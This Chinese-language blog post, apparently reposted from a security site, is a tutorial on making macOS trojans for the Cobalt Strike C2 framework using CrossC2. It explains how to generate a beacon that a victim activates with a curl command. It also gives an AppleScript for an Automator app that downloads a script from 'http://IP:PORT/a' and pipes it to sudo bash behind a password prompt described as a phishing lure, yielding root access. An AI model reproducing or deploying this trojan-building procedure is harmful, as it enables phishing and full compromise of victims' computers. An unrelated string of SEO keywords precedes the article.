做app网站公司名称,咨询公司税率是多少,企业网站的管理系统,4a广告公司都有哪些本文转载于#xff1a;https://www.freebuf.com/articles/web/350592.html 作者#xff1a;文鸯涂鸦智能安全实验室 制作MAC 一、下载工具 首先从github上下载CrossC2。链接#xff1a;https://github.com/gloxec/CrossC2/releases/tag/v3.1.0。 根据你CS客户端的操作系统选…本文转载于https://www.freebuf.com/articles/web/350592.html 作者文鸯涂鸦智能安全实验室 制作MAC 一、下载工具 首先从github上下载CrossC2。链接https://github.com/gloxec/CrossC2/releases/tag/v3.1.0。 根据你CS客户端的操作系统选择这里面的对应版本以及CorssC2-githubBot-2022-06-07.cna这个CS插件。 二、CrossC2使用 首先用编辑器打开CorssC2-githubBot-2022-06-07.cna插件。 将红色框出来的位置填上CrossC2可执行文件的绝对路径linux和mac版本要使用chmod x 添加执行权限。 然后去CS中添加插件即可。 注意这里的linster要用https的监听。 在生成木马时一定要注意需要将cs服务端中的.cobaltstrike.beacon_keys复制到客户端上在红框处选中文件即可。这里的ProcessName是木马启动后在主机上的进程名然后点机Build即可。在CS的log中会出现一个curl的命令只需在被攻击机上执行便会上线。 三、Root Mac app木马的制作 1、工具 2、木马创建 打开automator.app并且点击到运行Applescript。 这是我们的木马程序大致意思是执行我们的木马程序并且以root身份执行(此处的代码是从mac官方找到的模版)。 set unixDesktopPath to POSIX path of /System/Library/User Template/
set quotedUnixDesktopPath to quoted form of unixDesktopPath
set fromUnix to do shell script curl \-A O \-o\- \-L http://IP:PORT/a \|sudo bash \-s quotedUnixDesktopPath with administrator privilegesend ru
制作好后点击保存即可
3、运行
当点击这里的制作好的app程序会弹出输入密码的提示框这里是做钓鱼时使用的木马弹窗的名字都是以任意更改的。
当一输入密码就会上线到我们的CS上此时CS上的用户是root。
权限维持
权限维持等下一期出感谢大家的关注。
